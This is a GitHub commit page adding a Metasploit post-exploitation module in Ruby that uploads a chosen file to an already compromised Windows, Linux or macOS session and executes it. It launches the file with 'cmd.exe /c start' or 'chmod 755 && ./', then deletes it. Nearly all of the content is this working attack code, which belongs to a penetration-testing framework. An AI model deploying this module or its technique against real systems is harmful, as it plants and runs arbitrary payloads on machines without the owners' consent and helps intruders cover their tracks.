Skip to content

Commit 84dd5cd

Browse files
committed
Add a simple upload exec module
1 parent 85845b3 commit 84dd5cd

File tree

1 file changed

+52
-0
lines changed

1 file changed

+52
-0
lines changed
Lines changed: 52 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,52 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Post
7+
include Msf::Post::File
8+
9+
def initialize(info={})
10+
super( update_info( info,
11+
'Name' => 'Upload and Execute',
12+
'Description' => %q{ Push a file and execute it },
13+
'License' => MSF_LICENSE,
14+
'Author' => [ 'egypt'],
15+
'Platform' => [ 'win','linux','osx' ],
16+
'SessionTypes' => [ 'meterpreter','shell' ]
17+
))
18+
19+
register_options(
20+
[
21+
OptPath.new('LFILE', [true,'Local file to upload and execute']),
22+
OptString.new('RFILE', [false,'Name of file on target (default is basename of LFILE)']),
23+
], self.class)
24+
end
25+
26+
def rfile
27+
if datastore['RFILE'].blank?
28+
remote_name = File.basename(datastore['LFILE'])
29+
else
30+
remote_name = datastore['RFILE']
31+
end
32+
33+
remote_name
34+
end
35+
36+
def lfile
37+
datastore['LFILE']
38+
end
39+
40+
def run
41+
upload_file(rfile, lfile)
42+
43+
if session.platform.include?("windows")
44+
cmd_exec("cmd.exe /c start #{rfile}", nil, 0)
45+
else
46+
cmd_exec("chmod 755 #{rfile} && ./#{rfile}", nil, 0)
47+
end
48+
rm_f(rfile)
49+
end
50+
51+
end
52+

0 commit comments

Comments
 (0)